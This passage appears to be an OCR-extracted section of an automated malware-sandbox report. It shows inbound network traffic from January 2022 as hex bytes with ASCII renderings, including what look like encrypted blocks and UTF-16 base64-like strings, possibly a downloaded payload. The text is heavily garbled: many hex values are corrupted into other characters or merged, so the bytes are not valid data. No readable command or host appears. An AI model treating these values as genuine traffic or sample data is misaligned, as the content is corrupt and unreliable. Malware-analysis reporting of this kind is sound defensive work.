94 04 bb f9 a3 c5 8f a7 36 f2 cd b5 4b 9a f5 64 4e b3 fb 5b 5e d7 50 dd 8b 88 72 7f ec e5 42 66 88 21 22 b3 03 81 c2 d7 95
f273 90 a3 Oc a6 75 61 7d al bb dO 5b b4 19 26 00 9b 63 e8 5e 73 ae 6¢ 97 ae a0 e4 b8 eb ab 37 2a 41 b5 8¢ a6 6b d3
b0 7b de 70 b5 10 f9 a9 ad a7 82 c8 c9 d5 1a d9
Data Ascii: w=V]heq.<=504v0I,cjAN, +J+7@u>>RjKro~a00=bAB|IF8p"M}z[PW566KdN["PrBfl"sua}[&c"s|7*Ak{p

2022-01-06 07:09:08 UTC 168 IN Data Raw: 2d 90 4c 43 37 11 5 ab f3 26 9e af 1c 91 e8 35 da fb €9 7b f4 f9 3a a9 88 4b 76 63 5f 55 09 4d 59 86 4a e3 Oa
17 62 63 38 cb a5 d6 4c 22 53 b3 ef 60 05 da c9 c9 8b 8a el 35 ee c8 ed dc 0d 7b 48 9f 4f 73 24 ed a7 d7 fa 1a 7e d1 c5
9c 2d e3 6¢ ¢4 d5 01 19 Oc 9b 5e 6e a6 1f 8b 2d 49 a0 38 6¢ b2 0d cb 5b e2 14 6e 62 ed cd 8a 4c 8d 86 a2 9f 81 a0 96 2e
81 6a d6 7d cd 6b 3d 4e 4c 16 78 2a 8e 19 b7 f1 39 99 18 3c a8 a9 47 46 43 d3 74 30 cd e6 c2 06 43 24 3e 52 f5 a9 a4 42
6 01 7e 49 b2 f1 4d 49 7f b2 ea 57 44 a5 2d fd 1f 71 f8 13 96 9e 31 c6 3a ae 95 01 21 22 b3 Ob Ob b7 3e a5 56 bf cd f4 59
11 4b d5 9e 2c 2c 48 b0 b3 da 6b 78 Oc 73 a4 7f 59 e4 30 b8 df b2 e3 b4 d2 70 fa 96 e6 bd 9c 9c b5 ad 66 bc c0 be 98 74
56 f8 2d 9a 9a 35 13 e2 f5 8b 7b 10 1b 9b d9 Oa 19
Data Ascii: -LC7&5{:Kvc_UMYJbc8L"S 5{HOs$~-I"n-18I[nbL.j}k=NLx*9<GFCtOC$>RB~IMIWD-q1:!">VYK,,HkxsYOpftV-5{

2022-01-06 07:09:08 UTC 172 IN Data Raw: 2b 7b 0d 8d 1b 46 88 6b f8 0a 4f 2c fa 8f 49 e0 d7 ed ee 98 ec 8c df 32 05 c5 04 ab 87 4f c3 37 bc 96 fa b8 87
b9 5¢ 4c 99 72 dd 18 15 d9 b9 41 43 16 2d 46 ba 4d e4 70 1a 2e 80 60 96 4e 2d 36 4b b8 96 c4 56 d7 29 96 ff 9a 60 9c 03
77 45 7e b6 50 60 7a f4 81 c6 97 c8 2a a7 db f9 Of cO 73 62 ca 68 a0 a6 ac 57 55 35 f0 4c 8f 6d ae 23 12 a0 82 b5 ea bc cc
66 Oe 3e 44 d0 dc bd 3e 01 c0 a4 22 92 65 e7 28 cc d3 71 ¢8 2¢ 10 ae 91 b5 d1 b0 47 5d 27 ea d8 15 ¢3 48 71 42 8c ad
15 2a b9 44 85 af a9 f5 87 1b 05 3d 03 11 fe be 89 4c 81 b8 46 5a a8 65 dd a2 1b 4b 6b 48 c1 c7 02 1c d2 7f e2 c8 6e b4
14 34 06 b5 1c 03 al c0 d3 69 86 72 e6 Of 4c 91 12 c1 d3 76 63 f9 ca df 8e 98 a7 f6 db d5 be 9d 37 bd ad 1b 9e 3b ab 72
a9 b6 e5 ef 02 57 14 69 f0 ee 51 €9 60 20 7d 7f 8f 4e
Data Ascii: +{FkO,|207\LrAC-FMp. N-6KV) WE~P z*sbhWU5Lm#>D>"e(q,G]'HqB*D=LFZeKkHn4irLvc7;rWiQ" }N

2022-01-06 07:09:08 UTC 177 IN Data Raw: 51 50 45 fe a8 25 ac 95 57 Oc 87 57 6a 68 06 48 09 ff 15 ec d6 be 7c d6 8c d6 24 31 14 e3 6d e2 ff 8f 97 1f 52
2e 2e caee 24 a2 bd a2 4a cb b2 d5 e4 ¢3 b7 00 d7 df 4b ae 3c ff db b7 7a Oc 01 ee dd df {7 fc 78 58 02 32 41 74 ca 5d 25
2a d3 d0 8c ce 4f 62 bc ec 1a 7c cc 81 97 1c 21 85 3f 72 cd 6e 06 70 d8 1a 63 6f ec 94 26 Of d1 31 7e 02 47 ef 05 23 12 4a
96 cd 52 63 91 cf 69 4a 85 64 5e 32 f3 5b af 62 be d3 77 56 25 54 1c d7 86 89 57 6¢ 43 18 a5 03 ¢9 al 6¢ d6 Oc b9 71 8e
66 08 fc 76 cb 76 9a a6 07 18 ed el e8 63 Ob c4 01 6d 1c e4 7a 61 d2 86 00 3f 9e 30 f8 2f 50 b0 fO 07 b0 40 e3 5e 00 d5
5c 4e f6 c9 70 4a 4a 25 a3 91 6e b4 85 d5 51 22 47 69 82 92 d6 7 f1 01 9e 61 74 15 5e 6b b0 3a 4a 18 66 a9 27 97 b2 5f
89 ce 7c 4a b4 34 3d 23 27 6e 3f 7a 04 f5 bb a0
Data Ascii: QPE%WWijhH[$1mR..$JK<zxX2At]%*Ob|!?rnpco&1~G#JIRciJd 2[bwV%TWIClgfvvemza?0/P@"N\NpJJ%nQ"Gia
k' |J4=#n?z

2022-01-06 07:09:08 UTC 180 IN Data Raw: 7d dd e4 30 c8 a0 19 22 6¢ f1 b6 a5 57 bd 76 80 b2 cd a0 44 d2 b5 a8 fc 9c Of 6e 3e 98 a6 84 61 {3 31 €8 03 6b
e3al 1362 4c ea 50 db 30 68 f6 57 a9 c0 9d ee ca 21 9e 19 47 81 9c 6b 28 e8 73 17 aa 45 c4 6e 4a b9 e5 a3 e4 96 48
67 4f ed d2 2a 7a 9b 3e 4a be 16 db bl 8b 4e b9 1c cb 4f 2d 18 f5 a8 99 f4 d6 f8 1le 7e 02 80 91 65 cc ad Oc 59 92 67 10
5070 d9 8e 1b 74 al e8 e7 c2 d3 a6 3c bf c9 2b e4 82 e8 f6 71 8d 04 ba 82 11 1d 38 3f 00 b7 2b 31 db 2a 37 b5 56 €9 55
e8 b7 7c 7c 131 07 el f3 3c a2 d1 39 0d 76 d6 18 12 17 22 0f 23 2f 8a 31 7f 72 44 a2 9a 1a 00 d4 ec 47 90 3b 90 ce fd 9e
dd b8 fc f4 a7 63 e3 al 69 18 el e6 90 27 ee 12 a2 72 7c 95 af 4a ea dc 69 7d 13 a9 ea b2 da 69 34 fe d2 d4 de 8¢ be Oc
84 40 69 8c 26 ec 63 ad 18 5¢ 1d cd d8 8a 03 a2 9f Oa
Data Ascii: }0"IWvDn>alkbLPOhW!Gk(SsEnJHgO*z>INO-~eYgPpt<+q8?7+1*7VU||<9v"#/1rDG;ci'r|Ji}i4@i&c\
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kBytes
Timestamp transferred Direction Data

2022-01-06 07:09:08 UTC 185 IN Data Raw: 98 47 6f 4b a2 fc 52 a8 bb 67 2d 58 1b 10 36 6d 2c 10 f6 36 1a 27 6b dd dd 65 35 c0 67 a4 51 a3 02 fe dd 9e
b1 41 1f 1e 27 ba b4 65 46 90 36 4a 5b c9 35 35 54 d8 21 3f dd el a5 dd 40 3e f9 78 fa b9 72 6f d2 51 32 b7 2a ff al 08 5e
84 20 1la 2c 13 45 d7 30 86 ec 68 90 01 31 33 43 9e 02 38 1a 7d €3 18 31 17 48 74 0d 30 58 74 74 5e 6e 69 cc 51 41 69
b5 0a a9 f3 36 d1 77 5b 4d ac 7 8f cf 9c bb a0 13 95 e2 31 fb 69 34 dc ef 91 9b 35 4d 09 83 d9 c4 2f 70 53 28 8e 9d 6e 14
04 6d 03 b2 10 e8 d8 4f 4b 86 ac e0 el 6d 08 b7 ef b5 7c da c4 c6 b5 ea 5b f3 2b el 9f 45 eb f6 ef 50 cb 22 99 2a ca 52 f9
06 af ac a6 a2 cf 22 6¢ 63 31 f5 4¢ 58 34 a4 f9 67 d5 d9 ac ca 78 a6 bl 1a 9d 2e d9 b1 dO e9 al a5 ca ca Oe 9a ab f4 a4
13 dfd1 el 78 6d 63 a7 c6 f5 80 €3 08 74 6a ab ff
Data Ascii: GOKRg-X6m,6'ke5gQA'eF6J[55T!?@>xroQ2*" ,E0h13C8}1HtOXtt "niQAIBW[M1i45M/pS(nmOKm|[+EP"*R"
lc1LX4gx.xmctj

2022-01-06 07:09:08 UTC 189 IN Data Raw: 8b b4 6b e6 57 61 78 f9 7 42 9b 59 16 4d fa 62 €9 b0 bd 50 28 b2 66 39 15 93 32 9a bc a0 3f 8¢ c7 a5 d4 83
63 67 66 1a 34 fc 76 a8 3e 67 8a 2d el 8f 8b b9 e9 6d 8d 3e bc 63 ef 2f ab aa 69 11 f5 aa 6¢ 2d aa ff 2f 83 17 38 6¢ 31 f1
68 f2 ¢8 32 2e b8 40 c7 26 5d c7 1c 6e cd 16 e4 c5 bl 53 7f d9 7c 40 23 ef 08 c4 8d fe 7d ff 03 98 23 44 a8 01 6a 59 df 34
b4 12 5a 77 ee b5 57 3a 87 a7 35 f4 al 9f 17 41 7e 6¢ 3d 7d 2f 44 08 76 9f 14 5e 48 56 c1 48 e3 8a 1d 5f ca d2 17 55 4f 17
7acf 48 eb €0 0d b2 c¢3 80 bb 92 a5 bd af cf b0 a7 eb bf 18 36 7c 86 08 bb 18 €9 42 b4 18 b3 68 0a db 17 44 20 c9 35 a4
88 57 ca f5 19 95 78 59 2a 3f c2 44 34 ff 9c el 1b bb 81 c8 ce 98 8d 04 07 64 f0 83 5d ee 09 0f 8a 9d 25 f1 d4 eb b9 15 fd
fd 80 57 d9 5b 7c 11 47 a7 dO b5 90 43 d7 a3
Data Ascii: kWaxBYMbP(f92?cgf4v>g-m>c/il-/8l1h2. @&]nS|@#}#DjY 4ZwW:5A~I=}/Dv*HVH_UOzH6|BhD 5WxY*?D4d]
%W[|GC

2022-01-06 07:09:08 UTC 193 IN Data Raw: ad cd dO 8f 89 f3 d6 76 d1 5f 75 56 7c €7 19 9b ¢3 95 ba 43 ab 16 67 8a cb 8b 8b Oc 07 3c 1e 27 e2 Oe 6d €3
5b 15 53 9¢ 9f 35 91 b0 d2 33 02 01 c5 87 1e 25 db 9b a7 f2 f1 2a 55 fa 50 bd 43 d5 6d 14 b9 05 27 8e 9c 1a 10 58 €8 19
5a d6 48 4d ef f7 9e 56 81 e4 74 de 79 c0 2a 85 1d a9 42 a2 51 4e 70 5b 58 99 b0 c5 dc 63 bb e6 b8 a3 4b 1f 04 18 ed 10
e3d5 66 13 3d 9b 94 59 5a af 6a 25 1c e7 1f eb e0 a7 17 c5 e4 71 3b 6d a9 06 db 25 38 29 3b 0a 5d c1 01 6b 71 ff 95 2¢
ch e6 1a3d d2 71 7c 52 €9 01 d3 2b 9f 0d bb €6 1d 9e ae 7d 7a a6 01 d4 8f 4d 1f 73 08 €3 56 94 c4 6¢ ad 02 1d 8¢ 41 b2
4f 2d 61 1c 20 a3 a4 ff 9b ed 2d ee cd 35 ¢5 b6 95 c5 c9 6b 0d fa b5 62 cd 7a 00 5¢ df 51 f7 24 b6 ab 2d 84 99 a5 d5 32
8e 25 2e f5 2a 0b b7 e2 35 34 ea f6 7a 40 86 73 b8 78 95
Data Ascii: v_uV|Cg<'m[S53%*UPCm'XZHMVty*BQNp[XcKf=YZ]j%q;m%8);]kq,=q|R+}zMsVIAO-a -5kbz\Q$-2%.*54z@sx

2022-01-06 07:09:08 UTC 197 IN Data Raw: 71 ea 45 7c 28 37 42 8d 25 f9 ea e0 65 28 a7 45 9d d6 Oe ff af a4 a5 67 6¢ d2 4a 73 1f 7c c4 f9 fd bf f3 40 56
3c 86 20 06 c0 6a d3 ea 02 1d 2f d3 59 6a 33 18 79 fb 46 e4 7b 69 5c df 85 31 c6 b0 Of 18 1b 4f 54 6b bb 05 64 2e 9b af bc
6e 0d 8c df 89 72 a8 42 {7 Oe 84 50 9d ae b3 aa b4 aa 41 b3 cf 53 97 10 a3 c0 e3 9c 99 bd d3 5a f9 Ob 2b e2 7d 5 c5 35
de 5a 70 4a 29 ad bf f4 70 8b 57 cb 30 f9 ac ab 4a 5f dd 04 e5 5d d6 77 e6 2d e9 4b 39 dO c9 1f c6 80 65 41 f0 3e 1c f2 12
36 9d d4 8f 59 fc 85 faf9 el 0d 11 7d ca ca 3c a0 d4 f2 47 80 76 a9 47 db fe 42 de 15 11 8f 41 bf 22 al 26 78 c4 de e6 67
ea5473c30a48ee 7642421 fb 16 6e b2 51 e6 db be 47 29 02 98 bb e0 a9 8b 32 0d 04 5e 76 88 db 7b fa 63 fd c8 a8
22 b7 4f Ob db f8 47 17 60 56 81 c1 c4 97 fd
Data Ascii: qE|(7B%e(Egls|@V< j/Yj3yF{i\1OTkd.nrBPASZ+}5ZpJ)pWO0J_]Jw-K9eA>6Y}<GVGBA"&xgTsHvB!INQG)2*v
{c"0GV

2022-01-06 07:09:08 UTC 201 IN Data Raw: 97 50 84 67 98 1d f2 3d 30 2e 76 59 07 15 73 76 75 62 3e 1a 27 00 78 09 c2 87 c1 52 ef 4c cf 12 84 Oc 0d 50
51 a7 97 5b 15 7c d9 fc eb c9 0a 66 4d 84 15 95 19 90 41 5e 52 f0 27 d1 68 46 59 e4 f1 b7 9d a8 5f 3b 75 96 25 29 f1 65
a38f22 14 17 f6 c5 7a e4 d3 1e e4 f5 ef 03 2f 3e da 50 23 15 cc a7 91 75 75 f0 el db d3 ec f1 4e 79 85 e6 f1 d8 44 30 58
c7 ea bl 96 03 c6 9f e6 82 24 2c 61 39 9b 1d 12 1a 08 e6 d6 91 bb 40 51 76 31 72 c4 db a9 16 6¢ d6 dd 0f 01 50 d4 b7 25
71 6e 78 5b 4e de 6e f5 60 58 5¢ 64 30 21 cf 98 88 b3 25 95 a8 7d 73 51 db 8c e4 c3 3e Oc f9 f1 65 71 ba ff e2 d8 e9 a3 17
45 bb f3 c2 b0 64 c3 b2 65 9e 55 45 3b 75 28 4f 44 c8 ed fc 17 22 da 97 92 d4 c1 f1 27 4d fa 99 8c 73 4f 68 29 ae 1d 62
86 b5 fe 8e e6 54 86 3f f6 73 6a cc c1 10 75 51 9f
Data Ascii: Pg=0.vYsvub>'xRLPQI[|fMA"R'hFY _;u%)e"z/>P#uuNyD0X$,a9@Qv1rlP%gnx[Nn"X\d0!%}sQ>eqEdeUE;u(O
D"'MsOh)bT?sjuQ

2022-01-06 07:09:08 UTC 205 IN Data Raw: 1d 45 2a 30 eb 2f 53 48 59 7a a4 39 4d 6d 61 ac 89 9b ac f9 f1 4f 37 c2 60 39 5a bd f6 8¢ 77 43 99 81 73 22 79
05 1c 04 5a b1 61 37 0 8e 2¢ 95 ac 60 fb 99 25 f4 ¢6 19 c7 41 b9 75 39 67 32 78 a4 88 49 a2 e8 25 5d 97 f0 3b be 32 47
8a d1 8b 1f c3 9d 15 59 30 ac 63 Of 37 be 5b 87 3f 98 1e 85 c9 5e ee 33 4d 1f 1e 64 a8 b4 89 Oe 24 ec 8d 2¢ 62 fc 25 90
5 4 9d 37 1e 72 be e8 cf 72 00 36 78 fa 03 f4 d4 c5 df 96 4f 3b 7a c8 2a e5 7d 90 b1 de 1f 4c db ce 2a 5e 8f 30 68 96 6f
f9 d3 d2 09 2a 39 4c b5 43 8d fd 86 4c 3d 73 00 ab 01 48 19 06 9b 32 4b 4f a4 b9 1e 51 91 21 Oc c3 e6 c9 77 6¢ 1a fe 63
7 38 ¢7 80 ef 77 96 fb 03 f0 79 8e 42 12 cc b0 f8 cc 18 63 c7 28 ee 22 47 1b 4e 20 20 26 21 €3 2¢ 81 05 1d 62 18 3f a2 99
8¢ 3a 28 10 f2 74 91 66 ee c4 af 99 f1 d1 7 66
Data Ascii: E*0/SHYZzIMmaO7 9ZwCs"yZa7, %Audg2xI%];2GYOC7[?A3Md$, b%L 7rr6x0;z*}L*A0ho*9L CL=sH2KOQ!wIc8
WyBC("GN &!,b2:(tff

2022-01-06 07:09:08 UTC 209 IN Data Raw: 7f 27 29 27 75 b4 72 df 08 11 79 87 5f 61 21 23 b0 Oa d5 91 29 3f 18 41 b6 a6 5c ¢6 59 f2 f4 68 cf 7c ec 33 72
c5 Oc 5e 4f f4 2d 2f 19 9d 2f 1a ¢3 9d dc cc 7a f1 dc 90 e3 6¢ 49 b3 a4 89 be 08 c2 66 22 81 60 96 9a f4 11 9c 1a cO b8 24
bc b2 8¢ ba 38 1d f1 68 72 ¢4 72 64 43 79 78 38 €8 79 90 23 f0 1f 8¢ bc cc 2b 64 de ¢l ce 9b 53 60 Ob 65 20 68 55 21 cO
35 3e 9a 47 af 65 cd 8a 53 6b 95 82 51 a8 39 df e0 30 12 91 72 a9 09 fc e9 e4 e4 3d 35 fa 5d 6b 11 13 fa 26 e7 fd c5 f4 c2
€6 49 3e 7a €7 b5 16 b2 12 40 5b Ob d6 ea 8b 9c 5e dO ef 88 1b b7 61 c7 4a a3 42 77 98 ef 46 19 5e 1a Oe 8¢ 98 Of 3f 92
4284 57 05 12 db a3 de fb 8e cf d0 aa 94 ¢5 77 cc 73 2d 1c 57 40 53 ca d3 d7 da b2 a5 ee 58 69 5d ee 1b 55 eb e2 45 d5
18 b3 27 60 45 92 89 07 3f c6 49 ea ff 8d f1 99
Data Ascii: ')'ury_al#)?A\Yh|3r\O-//zIIf""$8hrrdCyx8y#+dS e hU!5>GeSkQ90r=5]k&I>z@[*aJBWF ?BWws-W@SXIJUE"E?|

2022-01-06 07:09:08 UTC 212 IN Data Raw: 64 2a 6¢ 97 38 35 ec Oe ce 9¢ 35 d5 b7 49 00 8d be 53 78 €9 4b f4 a2 d4 8c 12 60 b0 ec c9 b8 60 bf 9d fa 81 71
c6 ea 46 f4 65 68 ea f7 f0 80 04 ac 64 e7 cd 93 35 96 ac 72 e9 49 ea 65 fe 85 fa da 9e 4f 35 28 e4 ec 44 c3 5f 87 19 4f 7e
44 be c5 ¢5 fa 63 20 2d be b5 23 15 7f b3 93 d6 a5 7f 18 10 ad 5b 3 f0 5b 69 f3 d1 7b 68 d4 d9 88 88 9e 94 26 47 eb 7b 7f
3c 97 7e 7e b6 f7 a2 c7 f4 64 7e 4c a6 73 f4 4¢c 21 74 ad 3b 62 35 bc 94 2a 63 cd f3 7a ea 4a al ce 52 c0 8¢ 74 c6 b4 b2
68 07 91 6f b6 ed f8 ac 2a db 3b d8 e7 ac 93 f7 95 8d 2a 7a 82 02 ae 20 f0 22 45 78 63 a5 5b 28 66 15 32 df 62 b4 7e 2¢
5b 94 €9 3c 28 f1 22 de 8e 50 39 3e 7a 2a 59 71 f6 e4 b8 ed ec 54 8f Of d6 59 a2 a6 fe 97 74 04 62 3a 24 3a 00 00 eb 9b
2e 60 62 f8 4d 91 cd 8f b3 be 3c cc 2d 21 ac f3
Data Ascii: d*I855ISxK ™" qFehd5rleO5(D_O~Dc -#[[{h&G{<~~d~LsL!t;b5*czIRtho*;*z "Exc[(f2b~,[<("P9>z*YqTYtb:$:.'bM<-
]

2022-01-06 07:09:08 UTC 228 IN Data Raw: d9 39 72 b0 5d cd 24 f4 a7 d1 70 36 ac 5c e3 2f d0 a5 7a 54 aa 43 f4 83 d9 52 16 b5 eb 51 73 f2 26 1b 2b a9
17 a9 25 25 26 66 ce fb 41 99 23 7b 44 d4 ca 58 €6 71 75 d7 9e 28 f2 cc 99 7a 7f b7 08 61 18 ad 45 ab 48 2e 79 33 fe 42
al 63 4e 88 59 d2 5b fd e7 Oc 4a df f2 79 5a d7 78 bb 55 8d e4 9b bl al e2 34 29 49 1f 7a 24 4a 66 7b bd Ob d1 75 79 d7
92 04 80 f6 64 99 65 09 d2 53 9c fc 88 df 6¢ 7b 7 5b ¢7 4e 3e 1c 7c 45 21 51 90 9a 8c 58 c8 a6 5a 4c d6 ef 4b 83 ff 42 da
9a 34 8 95 1c 18 90 a8 96 0a 87 82 c6 ce b6 ab b3 22 ab 3¢ 1e 22 b6 e0 bc 99 a2 eb 39 26 39 9¢ Oa 2f 2c 8d 8c a2 le d9
70 94 fe c3 06 8d €3 53 b6 1c 24 81 62 14 a3 el ec el 8e 11 b4 98 bd 35 02 64 40 58 19 42 3b 4a 3a 9b a8 €8 d4 a0 0 f1
1d da 14 2c 09 b0 Oe 2a ca 5d 7 52 e5 1f e0 0d 23 70
Data Ascii: 9r]$p6VzTCRQs&+%%&FA#{DXqu(zaEH.y3BcN Y[JyZxU4)Iz$If{uyde SKIN>|EIQXZLKB4"<"9&9/,pS$b5d @
XB;J:,*|R#p
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kBytes
Timestamp transferred Direction Data

2022-01-06 07:09:08 UTC 244 IN Data Raw: 7e Oa 65 48 be b0 da 1e 98 23 48 ec 61 96 83 06 12 cf 5a df 7b e8 2a fd 16 81 6d e3 a4 c3 9f 03 a4 8b 8a 28
97 2e 34 5¢ f4 1c 87 21 8b b4 b3 78 4a fa d7 81 3f 5¢ d0 99 7c 5f 0a Oe 78 fd 57 26 ae 31 da 78 51 9a 2a db a7 e5 90 dd
09 05 e6 44 2e 01 44 c0 51 db €9 f7 a8 el a4 40 08 Oc 58 b9 de 7c 5f bb 73 e4 e9 fa 3f 7e b3 9b 24 62 41 43 2d 48 2b 85
3367 4f 70 fd e6 3e 73 cd bf 14 f4 9d 65 40 92 88 18 al 03 10 ba 1d 69 35 3a 89 96 67 4d 88 Oc 6e c6 14 6a c5 4b 79 41
06 9b 81 ef cO bb 8a 5e c2 97 ea f2 b0 22 40 a5 b9 19 99 57 4d 97 2e 89 4d 59 fc 17 08 dd de d4 47 bb 89 8e 2d d9 be 71
5d e7 Ob 7a el ed 3e 1b 22 4f 5a 7e 2b f4 58 28 08 6b c1 87 82 bc ac 3a c4 38 92 cf 65 25 8¢ 41 11 73 ba 37 d5 f0 72 a8
6b cd 21 db f6 cb f5 ba db 73 ca 28 f6 55 14 cb f6 81 ae
Data Ascii: ~eH#HazZ{*m(.4\1xJ?\|_xW&1xQ*D.DQ@X|_s?~$bAC-H+3gOp>se@i5:gMnjKyAN'@WM.MYG-q]z>"0Z~+X(k:8
e%As7rk!s(U

2022-01-06 07:09:08 UTC 260 IN Data Raw: 00 33 00 31 00 66 00 75 00 61 00 58 00 6b 00 56 00 46 00 31 00 45 00 4f 00 6e 00 6a 00 61 00 64 00 46 00 6¢
00 44 00 33 00 2b 00 55 00 33 00 43 00 35 00 38 00 71 00 34 00 2b 00 6¢ 00 47 00 30 00 4c 00 53 00 32 00 2f 00 6¢ 00
4b 00 72 00 4b 00 50 00 30 00 4e 00 52 00 64 00 6a 00 39 00 4e 00 74 00 68 00 49 00 51 00 62 00 4e 00 31 00 6b 00 47
00 48 00 64 00 67 00 6f 00 52 00 54 00 4e 00 76 00 74 00 31 00 42 00 35 00 46 00 53 00 4c 00 6¢ 00 37 00 42 00 67 00 4
a 00 65 00 76 00 37 00 44 00 41 00 33 00 56 00 34 00 2b 00 57 00 2b 00 37 00 58 00 78 00 6e 00 74 00 63 00 36 00 46
00 6e 00 62 00 58 00 31 00 6f 00 4d 00 74 00 36 00 63 00 63 00 65 00 67 00 62 00 53 00 4e 00 30 00 31 00 66 00 37 00
68 00 54 00 76 00 53 00 41 00 71 00 63 00 39 00 4a 00 42 00 4c 00 6¢ 00
Data Ascii: 31fuaXkVF1EOnjadFID3+U3C58q4+IGOLS2/IKrKPONRdjONthIQbN1kGHdgoRTNVt1B5FSLI7BgJe
Vv7DA3VA4+W+7Xxntc6FnbX1oMt6cceghSNO1f7hTvSAqcOJIBLI

2022-01-06 07:09:08 UTC 276 IN Data Raw: 00 39 00 67 00 4b 00 33 00 39 00 49 00 53 00 66 00 32 00 35 00 78 00 72 00 66 00 33 00 33 00 45 00 75 00
4d 00 7a 00 6d 00 6f 00 66 00 42 00 73 00 41 00 69 00 77 00 38 00 62 00 52 00 36 00 70 00 50 00 30 00 6a 00 5a 00 4f
00 70 00 48 00 74 00 41 00 52 00 6f 00 53 00 52 00 35 00 58 00 78 00 6b 00 34 00 5a 00 4d 00 39 00 46 00 67 00 74 00 6
400 34 00 53 00 35 00 5a 00 5a 00 72 00 58 00 38 00 54 00 54 00 53 00 7a 00 49 00 31 00 30 00 59 00 2b 00 77 00 55
00 61 00 38 00 68 00 4b 00 56 00 54 00 7a 00 61 00 59 00 71 00 4f 00 6e 00 41 00 74 00 44 00 64 00 77 00 52 00 6b 00
42 00 67 00 4d 00 79 00 53 00 78 00 46 00 32 00 30 00 41 00 65 00 33 00 77 00 5a 00 39 00 71 00 4b 00 34 00 54 00 61
00 49 00 77 00 32 00 55 00 4e 00 33 00 65 00 4c 00 45 00 4a 00 44 00 34 00
Data Ascii: 9gK391Sf25xrf33EuMzmofBsAiw8bR6pP0jZOpHtAROSR5Xxk4ZM9IFgtd4S5ZZrX8TTSzI10Y+wUa8
hKVTzaYqOnAtDdwRkBgMySxF20Ae3wZ9qK4Talw2UN3eLEID4

2022-01-06 07:09:08 UTC 292 IN Data Raw: 00 35 00 45 00 61 00 48 00 6e 00 51 00 63 00 4e 00 30 00 7a 00 43 00 6d 00 41 00 78 00 61 00 43 00 68 00
4e 00 51 00 68 00 4a 00 6b 00 6d 00 69 00 6d 00 64 00 74 00 79 00 47 00 33 00 38 00 5a 00 73 00 32 00 58 00 48 00 4a
00 45 00 4a 00 70 00 69 00 77 00 31 00 52 00 42 00 79 00 6¢ 00 65 00 78 00 6f 00 56 00 42 00 6¢ 00 46 00 61 00 70 00 6
800 7a 00 69 00 4d 00 43 00 32 00 57 00 6d 00 67 00 78 00 63 00 75 00 52 00 39 00 34 00 4e 00 33 00 63 00 70 00 62
00 6f 00 52 00 34 00 7a 00 4c 00 6b 00 66 00 4f 00 47 00 79 00 39 00 39 00 50 00 4d 00 68 00 79 00 71 00 58 00 79 00
74 00 6b 00 69 00 55 00 39 00 39 00 4f 00 37 00 36 00 41 00 35 00 42 00 4d 00 36 00 6¢ 00 4b 00 45 00 55 00 30 00 4a
00 75 00 48 00 30 00 68 00 74 00 49 00 71 00 79 00 51 00 7a 00 50 00 43 00
Data Ascii: 5EaHNQcN0zCmAxaChNQhJkmimdtyG38Zs2XHJEJpiwlRBylexoVBIFaphziMC2WmgxcuR94N3cpboR
4zLkfOGy99PMhyqXytkiU99076A5BMEIKEU0JuHOtIqyQzPC

2022-01-06 07:09:08 UTC 308 IN Data Raw: 00 2f 00 71 00 38 00 33 00 2f 00 77 00 49 00 51 00 49 00 41 00 62 00 43 00 73 00 59 00 6d 00 2f 00 51 00 4a
00 2f 00 56 00 49 00 58 00 75 00 4e 00 42 00 58 00 2f 00 47 00 53 00 61 00 4d 00 33 00 58 00 77 00 63 00 46 00 35 00
4b 00 39 00 2b 00 69 00 32 00 56 00 33 00 53 00 33 00 46 00 4c 00 59 00 42 00 79 00 79 00 49 00 5a 00 72 00 4b 00 71
00 32 00 48 00 33 00 37 00 45 00 65 00 4f 00 55 00 61 00 44 00 56 00 2f 00 2b 00 4b 00 75 00 63 00 32 00 35 00 52 00 4
500 66 00 57 00 2f 00 65 00 54 00 79 00 70 00 74 00 70 00 67 00 4d 00 44 00 43 00 47 00 45 00 36 00 66 00 77 00 34 00
7100 6b 00 74 00 69 00 76 00 43 00 6f 00 32 00 56 00 45 00 6e 00 39 00 2b 00 5a 00 51 00 62 00 59 00 51 00 4b 00 63
00 45 00 72 00 30 00 6d 00 6¢ 00 4d 00 6¢ 00 4d 00 6d 00 78 00 6a 00
Data Ascii: /q83/wIQIAbCsYm/QJ/VIXuNBX/GSaM3XwcF5K9+i2V3S3FLYByylZrKq2H37EeOUaDV/+Kuc25REf
W/eTyptpgMDCGE6fwAgktivCo2VEN9+ZQbYQKcEromIMIMmXxj

2022-01-06 07:09:08 UTC 324 IN Data Raw: 00 67 00 64 00 39 00 39 00 69 00 61 00 44 00 61 00 2b 00 33 00 70 00 42 00 4e 00 66 00 52 00 4f 00 4¢ 00 7a
0079 00 61 00 76 00 59 00 39 00 2f 00 62 00 75 00 71 00 58 00 65 00 6a 00 35 00 6e 00 32 00 4c 00 79 00 79 00 64 00
3300 65 00 62 00 56 00 6d 00 30 00 4b 00 70 00 73 00 55 00 37 00 6a 00 59 00 74 00 49 00 6¢ 00 4d 00 64 00 5a 00 41
0030 00 2f 00 6¢ 00 74 00 6¢ 00 4c 00 6¢ 00 6a 00 34 00 55 00 52 00 63 00 4c 00 45 00 49 00 53 00 4d 00 66 00 58 00 4f
00 55 00 50 00 30 00 65 00 6b 00 56 00 59 00 47 00 7a 00 66 00 6b 00 34 00 65 00 6e 00 71 00 63 00 65 00 4c 00 5a 00
56 00 65 00 41 00 56 00 57 00 44 00 30 00 74 00 37 00 6f 00 38 00 44 00 77 00 78 00 33 00 62 00 78 00 58 00 56 00 30
00 56 00 4d 00 72 00 47 00 45 00 6a 00 70 00 51 00 38 00 4f 00 57 00
Data Ascii: gd99iaDa+3pBNfROLzyavY9/bugXej5n2Lyyd3ebVmOKpsU7jYtIMAZAO/ILIj4URCLEISMIXOUPOekVY Gzfk
4engcel.ZVeAVWDOt708Dwx3bxXVOVMIGEjpQ8OW

2022-01-06 07:09:08 UTC 340 IN Data Raw: 00 70 00 47 00 38 00 61 00 7a 00 63 00 69 00 4a 00 57 00 7a 00 42 00 73 00 65 00 63 00 76 00 76 00 35 00
450061 00 78 00 67 00 54 00 45 00 2f 00 75 00 61 00 4f 00 7a 00 78 00 4e 00 45 00 30 00 68 00 54 00 58 00 46 00 4e
00 6c 00 30 00 4a 00 37 00 34 00 70 00 6b 00 73 00 58 00 69 00 47 00 6 00 64 00 69 00 6¢ 00 2b 00 56 00 48 00 6e 00
57 00 55 00 4d 00 64 00 4a 00 65 00 79 00 47 00 67 00 77 00 53 00 4a 00 55 00 34 00 66 00 6a 00 72 00 51 00 4c 00 55
00 7a 00 52 00 4f 00 64 00 72 00 49 00 55 00 66 00 68 00 4a 00 71 00 76 00 43 00 76 00 56 00 77 00 79 00 6¢ 00 58 00 6f
